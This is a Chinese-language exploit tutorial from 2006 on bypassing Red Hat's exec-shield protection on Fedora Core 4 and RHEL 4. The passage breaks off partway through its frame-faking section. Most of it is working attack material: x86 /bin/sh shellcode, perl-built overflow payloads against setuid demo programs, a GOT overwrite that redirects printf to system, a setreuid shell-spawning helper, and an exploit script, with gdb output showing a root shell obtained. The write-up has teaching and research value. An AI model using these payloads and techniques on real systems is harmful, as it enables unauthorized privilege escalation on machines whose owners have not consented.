Bypass Exec-shield Under Redhat
(PST)
---------[ Subject : Bypass Exec-shield Under Redhat ]
---------[ Author : axis(
[email protected]) ]
---------[ Copyright : www.ph4nt0m.org www.secwiki.com ]
---------[ Date : 02/14/2006 ]
---------[ Version : 1.0 ]
|=-----------------------------------------------------------------------------=|
---------[ Table of Contents ]
0x110 - execshield介绍
0x120 - 在execshield环境下的分析
0x130 - Attack!
0x131 - demo程序
0x132 - hijack GOT
0x133 - frame faking + return into libc
0x140 - Conclusion
0x150 - Reference
|=-----------------------------------------------------------------------------=|
---------[ 0x110 - execshield介绍 ]
Redhat在Fedora Core 2以及Enterprise Linux 3 Update 3加入了exec-shield的内核补丁。该补丁的官方地址为http://redhat.com/~mingo/exec-shield/
Execshield的目的是最大程度的防止溢出,所以他将内存中尽可能多的地方标记为不可执行的。同时他还保留了函数的返回地址,这样如果覆盖了EIP后,将探测到返回地址改变,将会出错。具体exec-shield做了什么,以及是如何实现的,请参考官方文档
http://people.redhat.com/mingo/e ... 06US_Execshield.pdf
http://people.redhat.com/mingo/exec-shield/docs/nonselsec.pdf
由于execshield的汗马功劳,传统的buffer overflow已经彻底失效了,因为他把shellcode放在stack中执行,而stack是不可执行的。
return into libc的方法为我们提供了一定思路,但execshield把函数的地址变成了类似
(gdb) p printf
$1 = {<text variable, no debug info>} 0x61db70 <printf>
也就是0x0061db70,而像strcpy这类函数,一遇到0字节就判断为终止,大大增加了难度
同时,因为栈不可执行,所以直接覆盖EIP为函数地址的方法也失效了。
如果利用frame faking,则可以在函数返回前跳转到另外一个地方去执行,但由于execshield禁止了内存中大多数地址的执行权限,所以.bss不行,heap也不行,stack当然更不行,那么如何找到这个合适的地方就成为了难点。同时还不能让函数返回,因为一返回就会被execshield检测到返回地址改变,会出错。
下面我将演示我是如何绕过execshield的。本文采用的平台是Redhat Fedora Core 4以及Redhat Enterprise Linux AS 4 Update 2
[root@Security-37 kernel]# cat /etc/issue.net
Red Hat Enterprise Linux AS release 4 (Nahant Update 2)
Kernel \r on an \m
[root@Security-37 kernel]# uname -a
Linux Security-37 2.6.9-22.EL #1 Mon Sep 19 18:20:28 EDT 2005 i686 i686 i386 GNU/Linux
[axis@axis explab]$ cat /etc/issue.net
Fedora Core release 4 (Stentz)
Kernel \r on an \m
[axis@axis explab]$ uname -a
Linux axis 2.6.11-1.1369_FC4 #1 Thu Jun 2 22:55:56 EDT 2005 i686 i686 i386 GNU/Linux
[axis@axis explab]$
---------[ 0x120 - 在execshield环境下的分析 ]
首先我们看看execshield的开关
[axis@axis explab]$ cat /proc/sys/kernel/exec-shield
1
[axis@axis explab]$ cat /proc/sys/kernel/randomize_va_space
1
[axis@axis explab]$
VA space randomize是2.6.x内核的一项特性,它会让虚拟地址随机变化,从而大大增加溢出的难度。但该项特性不在本文的讨论范围。但由于在高版本内核上它默认是开启的,所以我们不关闭他,以增加我们挑战的难度。
下面先来看看execshield做了什么,以一个简单的程序举例
[axis@axis explab]$ cat bof3.c
#include<stdio.h>
int main(int argc,char *argv[]){
char a[256];
strcpy(a,argv[1]);
printf("%s\n",a);
return 0;
}
我们看看程序运行时的内存中的情况
[axis@axis explab]$ gdb ./bof3 -q
(no debugging symbols found)
Using host libthread_db library "/lib/libthread_db.so.1".
(gdb) b main
Breakpoint 1 at 0x80483b9
(gdb) r AAAA
Starting program: /home/axis/explab/bof3 AAAA
Reading symbols from shared object read from target memory...(no debugging symbols found)...done.
Loaded system supplied DSO at 0x511000
(no debugging symbols found)
(no debugging symbols found)
Breakpoint 1, 0x080483b9 in main ()
(gdb) shell
[axis@axis explab]$ su -
Password:
[root@axis ~]# ps -ef
UID PID PPID C STIME TTY TIME CMD
root 1 0 0 Feb08 ? 00:00:01 init [3]
root 2 1 0 Feb08 ? 00:00:00 [ksoftirqd/0]
root 3 1 0 Feb08 ? 00:00:00 [watchdog/0]
root 4 1 0 Feb08 ? 00:00:00 [events/0]
......
......
axis 20812 20811 0 16:05 pts/0 00:00:00 -bash
axis 21858 20812 0 17:36 pts/0 00:00:00 gdb ./bof3 -q
axis 21861 21858 0 17:36 pts/0 00:00:00 /home/axis/explab/bof3 AAAA
axis 21864 21858 0 17:36 pts/0 00:00:00 bash
root 21882 21864 0 17:36 pts/0 00:00:00 su -
root 21885 21882 0 17:36 pts/0 00:00:00 -bash
root 21911 21885 0 17:36 pts/0 00:00:00 ps -ef
[root@axis ~]# cat /proc/21861/maps
00511000-00512000 r-xp 00511000 00:00 0
005b8000-005d2000 r-xp 00000000 03:09 2719787 /lib/ld-2.3.5.so
005d2000-005d3000 r-xp 00019000 03:09 2719787 /lib/ld-2.3.5.so
005d3000-005d4000 rwxp 0001a000 03:09 2719787 /lib/ld-2.3.5.so
005da000-006fe000 r-xp 00000000 03:09 2719788 /lib/libc-2.3.5.so
006fe000-00700000 r-xp 00124000 03:09 2719788 /lib/libc-2.3.5.so
00700000-00702000 rwxp 00126000 03:09 2719788 /lib/libc-2.3.5.so
00702000-00704000 rwxp 00702000 00:00 0
08048000-08049000 r-xp 00000000 03:06 472905 /home/axis/explab/bof3
08049000-0804a000 rw-p 00000000 03:06 472905 /home/axis/explab/bof3
b7fcb000-b7fcc000 rw-p b7fcb000 00:00 0
b7fe8000-b7fe9000 rw-p b7fe8000 00:00 0
bfed3000-bfee9000 rw-p bfed3000 00:00 0 [stack]
[root@axis ~]# exit
logout
[axis@axis explab]$ exit
exit
(gdb)
我们可以看到,stack,也就是我们的栈是不可执行的。所以我们要让我们的shellcode在可以执行的,即带有x标记的内存空间中执行.
---------[ 0x130 - Attack! ]
绕过execshield的攻击是可能的,根据上面的结论,我们应该在内存低地址中执行我们的shellcode,但这里
00511000-00512000 r-xp 00511000 00:00 0
005b8000-005d2000 r-xp 00000000 03:09 2719787 /lib/ld-2.3.5.so
005d2000-005d3000 r-xp 00019000 03:09 2719787 /lib/ld-2.3.5.so
005d3000-005d4000 rwxp 0001a000 03:09 2719787 /lib/ld-2.3.5.so
005da000-006fe000 r-xp 00000000 03:09 2719788 /lib/libc-2.3.5.so
006fe000-00700000 r-xp 00124000 03:09 2719788 /lib/libc-2.3.5.so
00700000-00702000 rwxp 00126000 03:09 2719788 /lib/libc-2.3.5.so
00702000-00704000 rwxp 00702000 00:00 0
这些地址都是一些系统的自带的函数或参数的一些内容,很难控制为我们想要的内容。
那么我们先来看
08048000-08049000 r-xp 00000000 03:06 472905 /home/axis/explab/bof3
来证实一下我们的想法。
---------[ 0x131 - demo程序 ]
我们在漏洞程序中定义一段shellcode,这样他就会写在.text段
[axis@axis explab]$ cat bof1.c
#include<stdio.h>
int main(int argc,char *argv[]){
char shellcode[]=
"\x6a\x46" // push $0x46
"\x58" // pop %eax
"\x31\xdb" // xor %ebx,%ebx
"\x31\xc9" // xor %ecx,%ecx
"\xcd\x80" // int $0x80
"\x99" // cltd
"\xb0\x0b" // mov $0xb,%al
"\x52" // push %edx
"\x68\x2f\x2f\x73\x68" // push $0x68732f2f
"\x68\x2f\x62\x69\x6e" // push $0x6e69622f
"\x89\xe3" // mov %esp,%ebx
"\x52" // push %edx
"\x53" // push %ebx
"\x89\xe1" // mov %esp,%ecx
"\xcd\x80"; // int $0x80
char a[256];
strcpy(a,argv[1]);
printf("%s\n",a);
return 0;
}
[axis@axis explab]$
加个s位
[root@axis ~]# chown root.root bof1
[root@axis ~]# chmod 4755 bof1
正常情况下,程序不会执行shellcode,因为他只是一个经过初始化的变量的值.
调试看看
[axis@axis explab]$ gdb ./bof1 -q
(no debugging symbols found)
Using host libthread_db library "/lib/libthread_db.so.1".
(gdb) b main
Breakpoint 1 at 0x80483b5
(gdb) r
Starting program: /home/axis/explab/bof1
(no debugging symbols found)
(no debugging symbols found)
Breakpoint 1, 0x080483b5 in main ()
(gdb) x/20x 0x08048400
0x8048400 <main+80>: 0xd8858d0c 0x50fffffe 0xfffebfe8 0x10c483ff
0x8048410 <main+96>: 0x000000b8 0xf8658d00 0xc3c95f5e 0x57e58955
0x8048420 <__libc_csu_init+4>: 0xec835356 0x0000e80c 0x815b0000 0x00119ac3
0x8048430 <__libc_csu_init+20>: 0xfe6ee800 0x838dffff 0xffffff20 0xff20938d
0x8048440 <__libc_csu_init+36>: 0xd029ffff 0x8902f8c1 0x0875f045 0x5b0cc483
(gdb)
0x8048450 <__libc_csu_init+52>: 0xc3c95f5e 0xd689ff31 0x834716ff 0x7d3b04c6
0x8048460 <__libc_csu_init+68>: 0x83f572f0 0x5e5b0cc4 0x90c3c95f 0xc9e58955
0x8048470 <__libc_csu_fini+4>: 0x909090c3 0x53e58955 0x94e4a152 0xf8830804
0x8048480 <__do_global_ctors_aux+12>: 0xbb1274ff 0x080494e4 0x438bd0ff 0x04eb83fc
0x8048490 <__do_global_ctors_aux+28>: 0x75fff883 0xc95b58f3 0x909090c3 0x53e58955
(gdb)
0x80484a0 <_fini+4>: 0x0000e850 0x815b0000 0x00111ec3 0xfea2e800
0x80484b0 <_fini+20>: 0x5b58ffff 0x0000c3c9 0x00000003 0x00020001
0x80484c0 <_IO_stdin_used+4>: 0x3158466a 0xcdc931db 0x0bb09980 0x2f2f6852
0x80484d0 <_IO_stdin_used+20>: 0x2f686873 0x896e6962 0x895352e3 0x0080cde1
0x80484e0 <__FRAME_END__>: 0x00000000 0xffffffff 0x00000000 0xffffffff
(gdb)
注意这里
0x80484c0 <_IO_stdin_used+4>: 0x3158466a 0xcdc931db 0x0bb09980 0x2f2f6852
0x80484d0 <_IO_stdin_used+20>: 0x2f686873 0x896e6962 0x895352e3 0x0080cde1
我们的shellcode就是在这里了!
(gdb) x/8x 0x080484c0 =========>存放shellcode的地址
0x80484c0 <_IO_stdin_used+4>: 0x3158466a 0xcdc931db 0x0bb09980 0x2f2f6852
0x80484d0 <_IO_stdin_used+20>: 0x2f686873 0x896e6962 0x895352e3 0x0080cde1
反汇编下main,看下buffer多大
(gdb) disass main
Dump of assembler code for function main:
0x080483b0 <main+0>: push %ebp
0x080483b1 <main+1>: mov %esp,%ebp
0x080483b3 <main+3>: push %edi
0x080483b4 <main+4>: push %esi
0x080483b5 <main+5>: sub $0x120,%esp ==================>这里
0x080483bb <main+11>: and $0xfffffff0,%esp
0x080483be <main+14>: mov $0x0,%eax
0x080483c3 <main+19>: add $0xf,%eax
0x080483c6 <main+22>: add $0xf,%eax
0x080483c9 <main+25>: shr $0x4,%eax
0x080483cc <main+28>: shl $0x4,%eax
0x080483cf <main+31>: sub %eax,%esp
0x080483d1 <main+33>: lea 0xffffffd8(%ebp),%edi
0x080483d4 <main+36>: mov $0x80484c0,%esi
0x080483d9 <main+41>: cld
0x080483da <main+42>: mov $0x8,%eax
0x080483df <main+47>: mov %eax,%ecx
0x080483e1 <main+49>: repz movsl %ds%esi),%es%edi)
0x080483e3 <main+51>: mov 0xc(%ebp),%eax
0x080483e6 <main+54>: add $0x4,%eax
0x080483e9 <main+57>: mov (%eax),%eax
0x080483eb <main+59>: sub $0x8,%esp
0x080483ee <main+62>: push %eax
0x080483ef <main+63>: lea 0xfffffed8(%ebp),%eax
0x080483f5 <main+69>: push %eax
0x080483f6 <main+70>: call 0x80482fc <__gmon_start__@plt+16>
0x080483fb <main+75>: add $0x10,%esp
0x080483fe <main+78>: sub $0xc,%esp
0x08048401 <main+81>: lea 0xfffffed8(%ebp),%eax
0x08048407 <main+87>: push %eax
0x08048408 <main+88>: call 0x80482cc
0x0804840d <main+93>: add $0x10,%esp
0x08048410 <main+96>: mov $0x0,%eax
0x08048415 <main+101>: lea 0xfffffff8(%ebp),%esp
0x08048418 <main+104>: pop %esi
0x08048419 <main+105>: pop %edi
0x0804841a <main+106>: leave
0x0804841b <main+107>: ret
End of assembler dump.
(gdb)
注意这里
0x080483b5 <main+5>: sub $0x120,%esp
十六进制120转换为十进制就是288,再加12的dummy data
最后通过调试得到我们的需要300个字节来覆盖ebp,然后再4个字节覆盖eip
[axis@axis explab]$ gdb ./bof1 -q
(no debugging symbols found)
Using host libthread_db library "/lib/libthread_db.so.1".
(gdb) r "`perl -e 'print "A"x300,"\x44\x84\x04\x01"'`"
Starting program: /home/axis/explab/bof1 "`perl -e 'print "A"x300,"\x44\x84\x04\x01"'`"
(no debugging symbols found)
(no debugging symbols found)
AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAD
Program received signal SIGSEGV, Segmentation fault.
0x01048444 in ?? ()
(gdb) i reg $ebp $esp $eip
ebp 0x41414141 0x41414141
esp 0xbfc98ac0 0xbfc98ac0
eip 0x1048444 0x1048444
(gdb)
看,如我上面所说的,正好覆盖了eip。注意这里0x01048444是内存低址,在“可执行界限”内,execshield才会接受,如果是一个内存高址,就会自动被execshield还原为原函数的ret地址
我们再看用不符合execshield规则的地址来覆盖EIP的情况
(gdb) r "`perl -e 'print "A"x304'`"
The program being debugged has been started already.
Start it from the beginning? (y or n) y
Starting program: /home/axis/explab/bof1 "`perl -e 'print "A"x304'`"
(no debugging symbols found)
(no debugging symbols found)
AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA
Program received signal SIGSEGV, Segmentation fault.
0x0804841b in main ()
(gdb)
这里
0x0804841b <main+107>: ret 就是main函数的返回地址了!
所以要击败execshield,就必须要巧妙的设计一个被execshield所接受的地址才行
我们刚才看到的存放shellcode的地址,0x080484c0就是一个被接受的地址
整理下思路
我们把shellcode写在这个demo程序里的.text section
存放shellcode的地址为0x080484c0,这个地址是不变的
我们需要用300个字节来覆盖ebp,再多4个字节覆盖eip,覆盖eip的地址必须是execshield所接受的地址
那么我们构造的payload就和传统的payload一样了
++++++++++++++++++++++++++++++++++++++
| dummy data | 4 bytes overwrite EIP |
++++++++++++++++++++++++++++++++++++++
我们看看
[axis@axis explab]$ ./bof1 "`perl -e 'print "A"x300,"\xc0\x84\x04\x08"'`"
AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA
sh-3.00# id
uid=0(root) gid=500(axis) groups=500(axis) context=user_u:system_r:unconfined_t
sh-3.00# cat /etc/issue
Fedora Core release 4 (Stentz)
Kernel \r on an \m
sh-3.00# uname -a
Linux axis 2.6.11-1.1369_FC4 #1 Thu Jun 2 22:55:56 EDT 2005 i686 i686 i386 GNU/Linux
sh-3.00#
看,shellcode成功执行了,拿到root了!
根据这个demo程序,我们绕过execshield的思路就有了,那就是:到execshield管不到的地方去执行
下面我们看看另外一种方法.
---------[ 0x132 - hijack GOT ]
上面的demo程序只是一个例子,在实际应用中,我们几乎不可能有机会去控制.text的内容,所以我们必须寻找其他更加通用的方法。
c0ntex在他的paper
How to hijack the Global Offset Table with pointers for root shells
提出了一种覆盖GOT的方法.
这种方法是通过覆盖GOT来达到return into libc的目的,同时也绕过了execshield。
GOT(全局变量偏移表)的概念我不再赘述,我们直入正题.
这里我们直接看看c0ntex的例子程序,简单介绍下这种方法,具体方法请参考c0ntex的文章
[axis@Security-37 hijackGOT]$ cat got.c
#include <stdio.h>
#include <stdlib.h>
int main(int argc, char **argv)
{
char *pointer = NULL;
char array[10];
pointer = array;
strcpy(pointer, argv[1]);
printf("Array contains %s at %p\n", pointer, &pointer);
strcpy(pointer, argv[2]);
printf("Array contains %s at %p\n", pointer, &pointer);
return EXIT_SUCCESS;
}
[axis@Security-37 hijackGOT]$ ls got -l
-rwsr-xr-x 1 root root 4911 Feb 14 02:06 got ======》加了s位
[axis@Security-37 hijackGOT]$
这里两次调用了strcpy和printf
我们将让第一个printf正常返回,而在第二个strcpy后,我们将覆盖GOT中printf的地址为system的地址,从而让第二个printf变成了
printf("Array contains %s at %p\n", pointer, &pointer);
====》
system("Array contains %s at %p\n", pointer, &pointer);
先看看一般情况的执行情况
[axis@Security-37 hijackGOT]$ gdb ./got -q
(no debugging symbols found)
Using host libthread_db library "/lib/tls/libthread_db.so.1".
(gdb) b strcpy ======》下断点
Function "strcpy" not defined.
Make breakpoint pending on future shared library load? (y or [n]) y
Breakpoint 1 (strcpy) pending.
(gdb) b printf ======》下断点
Function "printf" not defined.
Make breakpoint pending on future shared library load? (y or [n]) y
Breakpoint 2 (printf) pending.
(gdb) b system ======》下断点
Function "system" not defined.
Make breakpoint pending on future shared library load? (y or [n]) y
Breakpoint 3 (system) pending.
(gdb) r AAAA BBBB ======》先随便执行下,让程序正常返回
The program being debugged has been started already.
Start it from the beginning? (y or n) y
Starting program: /home/axis/explab/hijackGOT/got AAAA BBBB
(no debugging symbols found)
(no debugging symbols found)
Breakpoint 4, 0x008e4933 in strcpy () from /lib/tls/libc.so.6
(gdb) p system ======》 system的入口地址在0x008b05b0
$2 = {<text variable, no debug info>} 0x8b05b0 <system>
(gdb) x/8x 0x0804960c ======》 GOT表的内容
0x804960c <_GLOBAL_OFFSET_TABLE_>: 0x08049540 0x008794f8 0x0086eb10 0x00890d50
0x804961c <_GLOBAL_OFFSET_TABLE_+16>: 0x080482de 0x008e4930 0x00000000 0x00000000
(gdb) x/i 0x0086eb10
0x86eb10 <_dl_runtime_resolve>: push %eax
(gdb) x/i 0x00890d50
0x890d50 <__libc_start_main>: push %ebp
(gdb) x/i 0x080482de
0x80482de: push $0x8
(gdb) x/i 0x008e4930 ======》GOT表中的strcpy,这里是strcpy的入口地址
0x8e4930 <strcpy>: push %ebp
(gdb) c
Continuing.
Breakpoint 5, 0x008be423 in printf () from /lib/tls/libc.so.6
(gdb) x/8x 0x0804960c
0x804960c <_GLOBAL_OFFSET_TABLE_>: 0x08049540 0x008794f8 0x0086eb10 0x00890d50
0x804961c <_GLOBAL_OFFSET_TABLE_+16>: 0x008be420 0x008e4930 0x00000000 0x00000000
(gdb) x/i 0x008be420 ======》 因为要调用printf了,所以把printf的入口地址写入GOT
0x8be420 <printf>: push %ebp
(gdb) c
Continuing.
Array contains AAAA at 0xbfe5105c
Breakpoint 4, 0x008e4933 in strcpy () from /lib/tls/libc.so.6
(gdb) x/8x 0x0804960c ======》第二次strcpy之前GOT的内容
0x804960c <_GLOBAL_OFFSET_TABLE_>: 0x08049540 0x008794f8 0x0086eb10 0x00890d50
0x804961c <_GLOBAL_OFFSET_TABLE_+16>: 0x008be420 0x008e4930 0x00000000 0x00000000
(gdb) c
Continuing.
Breakpoint 5, 0x008be423 in printf () from /lib/tls/libc.so.6
(gdb) x/8x 0x0804960c 第二次printf之前的GOT内容
0x804960c <_GLOBAL_OFFSET_TABLE_>: 0x08049540 0x008794f8 0x0086eb10 0x00890d50
0x804961c <_GLOBAL_OFFSET_TABLE_+16>: 0x008be420 0x008e4930 0x00000000 0x00000000
(gdb) c
Continuing.
Array contains BBBB at 0xbfe5105c =======》程序正常返回了
Program exited normally.
(gdb)
GOT的地址这样得到
[axis@Security-37 hijackGOT]$ objdump -h ./got |grep .got
./got: file format elf32-i386
19 .got 00000004 08049608 08049608 00000608 2**2
20 .got.plt 00000018 0804960c 0804960c 0000060c 2**2
[axis@Security-37 hijackGOT]$
所以我们直接去查看0x0804960c 就是我们的GOT的内容了
从上面的调试可以看到,整个程序的流程非常清楚了,接下来我们尝试覆盖GOT中的printf的地址
经调试,需要28字节覆盖EBP,再多4字节覆盖EIP
因为要覆盖的是printf的返回地址,那么在GOT表中对应的就应该是0x0804961c
那么我们如下构造
(gdb) r "`perl -e 'print "A"x28,"\x1c\x96\x04\x08"'`" "`perl -e 'print "\xb0\x05\x8b"'`"
这里argv[1]是28个A覆盖EBP,然后指向GOT中的printf的地址,这时候第一个strcpy和printf都可以正常返回
然后执行第二个strcpy,把argv[2]的内容,也就是system的入口地址(我们前面得到过的)copy到0x0804961c,也就覆盖了GOT中printf地址,这样当再执行下去的时候,本来的
printf("Array contains %s at %p\n", pointer, &pointer);
就变成了
system("Array contains %s at %p\n", pointer, &pointer);
[axis@Security-37 hijackGOT]$ gdb ./got -q
(no debugging symbols found)
Using host libthread_db library "/lib/tls/libthread_db.so.1".
(gdb) b strcpy
Function "strcpy" not defined.
Make breakpoint pending on future shared library load? (y or [n]) y
Breakpoint 1 (strcpy) pending.
(gdb) b printf
Function "printf" not defined.
Make breakpoint pending on future shared library load? (y or [n]) y
Breakpoint 2 (printf) pending.
(gdb) b system
Function "system" not defined.
Make breakpoint pending on future shared library load? (y or [n]) y
Breakpoint 3 (system) pending.
(gdb) r "`perl -e 'print "A"x28,"\x1c\x96\x04\x08"'`" "`perl -e 'print "\xb0\x05\x8b"'`"
Starting program: /home/axis/explab/hijackGOT/got "`perl -e 'print "A"x28,"\x1c\x96\x04\x08"'`" "`perl -e 'print "\xb0\x05\x8b"'`"
(no debugging symbols found)
(no debugging symbols found)
Breakpoint 4 at 0x8e4933
Pending breakpoint "strcpy" resolved
Breakpoint 5 at 0x8be423
Pending breakpoint "printf" resolved
Breakpoint 6 at 0x8b05b0
Pending breakpoint "system" resolved
Breakpoint 4, 0x008e4933 in strcpy () from /lib/tls/libc.so.6
(gdb) x/8x 0x0804960c ======》先看看GOT的内容
0x804960c <_GLOBAL_OFFSET_TABLE_>: 0x08049540 0x008794f8 0x0086eb10 0x00890d50
0x804961c <_GLOBAL_OFFSET_TABLE_+16>: 0x080482de 0x008e4930 0x00000000 0x00000000
(gdb) c
Continuing.
Breakpoint 5, 0x008be423 in printf () from /lib/tls/libc.so.6
(gdb) x/8x 0x0804960c ======》printf地址被调用进来了
0x804960c <_GLOBAL_OFFSET_TABLE_>: 0x08049540 0x008794f8 0x0086eb10 0x00890d50
0x804961c <_GLOBAL_OFFSET_TABLE_+16>: 0x008be420 0x008e4930 0x00000000 0x00000000
(gdb) c
Continuing.
Array contains 鋴 at 0xbfff8d9c
Breakpoint 4, 0x008e4933 in strcpy () from /lib/tls/libc.so.6
(gdb) x/8x 0x0804960c ======》第二个strcpy执行前
0x804960c <_GLOBAL_OFFSET_TABLE_>: 0x08049540 0x008794f8 0x0086eb10 0x00890d50
0x804961c <_GLOBAL_OFFSET_TABLE_+16>: 0x008be420 0x008e4930 0x00000000 0x00000000
(gdb) c
Continuing.
Breakpoint 6, 0x008b05b0 in system () from /lib/tls/libc.so.6
(gdb) x/8x 0x0804960c ======》strcpy执行后,原来应该是printf地址的地方变成system的地址了,成功了!
0x804960c <_GLOBAL_OFFSET_TABLE_>: 0x08049540 0x008794f8 0x0086eb10 0x00890d50
0x804961c <_GLOBAL_OFFSET_TABLE_+16>: 0x008b05b0 0x008e4930 0x00000000 0x00000000
(gdb) c
Continuing.
Detaching after fork from child process 10314.
sh: Array: command not found ======》system函数正确执行了!
Program exited normally.
(gdb)
这里我们看到执行system的结果是command not found
这是因为我们是执行
system("Array contains %s at %p\n", pointer, &pointer);
系统当然没有Array这个程序,那么我们写一个
[axis@Security-37 hijackGOT]$ cat Array.c
#include<unistd.h>
int main(int argc,char *argv[]){
setreuid(geteuid(),geteuid());
setregid(getegid(),getegid());
execl("/bin/sh","sh",0);
return 0;
}
[axis@Security-37 hijackGOT]$ gcc -o Array Array.c
[axis@Security-37 hijackGOT]$
因为系统默认路径里没有Array,所以我们还要把当前路径加到系统路径里
[axis@Security-37 hijackGOT]$ cat ex_got.sh
#!/bin/sh
export PATH=:.PATH
./got "`perl -e 'print "A"x28,"\x1c\x96\x04\x08"'`" "`perl -e 'print "\xb0\x05\x8b"'`"
#payload is |DUMMY| GOT addr|---|SYSTEM |
[axis@Security-37 hijackGOT]$
[axis@Security-37 hijackGOT]$ ./ex_got.sh
Array contains 鋴 at 0xbff6f95c
sh-3.00$ id
uid=500(axis) gid=501(axis) groups=501(axis)
sh-3.00$ uname -a
Linux Security-37 2.6.9-22.EL #1 Mon Sep 19 18:20:28 EDT 2005 i686 i686 i386 GNU/Linux
sh-3.00$ cat /etc/issue.net
Red Hat Enterprise Linux AS release 4 (Nahant Update 2)
Kernel \r on an \m
sh-3.00$
执行成功了!得到了shell
但却不是root,而我们的漏洞程序是加了s位的,为什么呢?这是因为我们执行system函数的时候,它放弃了特权。
---------[ 0x133 - frame faking + return into libc ]
上面hijack GOT的方法只适用于覆盖指针的情况,如果没有定义指针呢?
接下来将演示利用frame faking和return into libc的技术,来获取控制权的例子
关于frame faking技术的详细讨论请参考我的另外一篇文章《Advanced Exploit Technique之--frame faking技术》
这里只简单提一下
我们利用fake frame,构造一个伪造的栈桢,然后利用以下的payload,将程序的流程跳转到我们指定的栈桢去执行
+++++++++++++++++++++++++++++++++
| dummy | fake ebp addr | leave |
+++++++++++++++++++++++++++++++++
其中,dummy是我们覆盖buffer用的垃圾数据,fake EBP addr用来覆盖EBP,同时也是我们伪造的栈桢的EBP地址,leave是leave指令的地址,用来覆盖EIP,如果EIP本来就要执行leave指令,那么也可以不覆盖,那么就只需要覆盖到EBP就结束了。
leave返回后,程序将跳转到fake frame去执行,新的EBP地址为fake EBP addr,新的EIP为 fake EBP addr+4
利用该技术,我们可以在任意可写的地方构造fake frame,从而控制程序流程.
回到本文主题上来,我的思路是,寻找一个“有用”的函数,然后执行它,当然,这个“有用”的函数也可以由自己来构造,写在内存中的某处
看看我们的目标
[axis@axis explab]$ cat bof2.c
#include<stdio.h>
int main(int argc,char *argv[]){
char a[256];
strcpy(a,argv[1]);
system("BBBB"
printf("%s\n",a);
return 0;
}
[axis@axis explab]$
我们的程序包含一个“有用”的system函数
[axis@axis explab]$ ls -l bof2
-rwsr-xr-x 1 root root 4906 2 14 16:11 bof2
加了s位
[axis@axis explab]$ ./bof2 AAAA
sh: BBBB: command not found
AAAA
[axis@axis explab]$
我们将通过溢出来改变system执行的内容
根据我们上面的payload,我们来看看leave指令在哪里
[axis@axis explab]$ gdb ./bof2 -q
(no debugging symbols found)
Using host libthread_db library "/lib/libthread_db.so.1".
(gdb) disass main
Dump of assembler code for function main:
0x080483e4 <main+0>: push %ebp
0x080483e5 <main+1>: mov %esp,%ebp
0x080483e7 <main+3>: sub $0x108,%esp
0x080483ed <main+9>: and $0xfffffff0,%esp
0x080483f0 <main+12>: mov $0x0,%eax
0x080483f5 <main+17>: add $0xf,%eax
0x080483f8 <main+20>: add $0xf,%eax
0x080483fb <main+23>: shr $0x4,%eax
0x080483fe <main+26>: shl $0x4,%eax
0x08048401 <main+29>: sub %eax,%esp
0x08048403 <main+31>: mov 0xc(%ebp),%eax
0x08048406 <main+34>: add $0x4,%eax
0x08048409 <main+37>: mov (%eax),%eax
0x0804840b <main+39>: sub $0x8,%esp
0x0804840e <main+42>: push %eax
0x0804840f <main+43>: lea 0xffffff00(%ebp),%eax
0x08048415 <main+49>: push %eax
0x08048416 <main+50>: call 0x8048330 <__gmon_start__@plt+16>
0x0804841b <main+55>: add $0x10,%esp
0x0804841e <main+58>: sub $0xc,%esp
0x08048421 <main+61>: push $0x80484ec
0x08048426 <main+66>: call 0x80482f0
0x0804842b <main+71>: add $0x10,%esp
0x0804842e <main+74>: sub $0xc,%esp
0x08048431 <main+77>: lea 0xffffff00(%ebp),%eax
0x08048437 <main+83>: push %eax
0x08048438 <main+84>: call 0x8048300
0x0804843d <main+89>: add $0x10,%esp
0x08048440 <main+92>: mov $0x0,%eax
0x08048445 <main+97>: leave ======》这里
0x08048446 <main+98>: ret
0x08048447 <main+99>: nop
End of assembler dump.
(gdb)
返汇编main,发现leave在0x08048445
而我们的system函数的入口地址肯定会在GOT中有,那么我们就直接利用好了!
(gdb) b strcpy
Function "strcpy" not defined.
Make breakpoint pending on future shared library load? (y or [n]) y
Breakpoint 1 (strcpy) pending.
(gdb) b system
Function "system" not defined.
Make breakpoint pending on future shared library load? (y or [n]) y
Breakpoint 2 (system) pending.
(gdb) b printf
Function "printf" not defined.
Make breakpoint pending on future shared library load? (y or [n]) y
Breakpoint 3 (printf) pending.
(gdb) r AAAA
The program being debugged has been started already.
Start it from the beginning? (y or n) y
Starting program: /home/axis/explab/bof2 AAAA
(no debugging symbols found)
(no debugging symbols found)
Breakpoint 4, 0x00643fc4 in strcpy () from /lib/libc.so.6
(gdb) p system ======》system的入口地址
$1 = {<text variable, no debug info>} 0x60f3df <system>
(gdb) x/8x 0x080495d8 ======》看看GOT中的内容
0x80495d8 <_GLOBAL_OFFSET_TABLE_>: 0x0804950c 0x005d36d0 0x005cad20 0x080482f6
0x80495e8 <_GLOBAL_OFFSET_TABLE_+16>: 0x08048306 0x005eed20 0x08048326 0x00643fc0
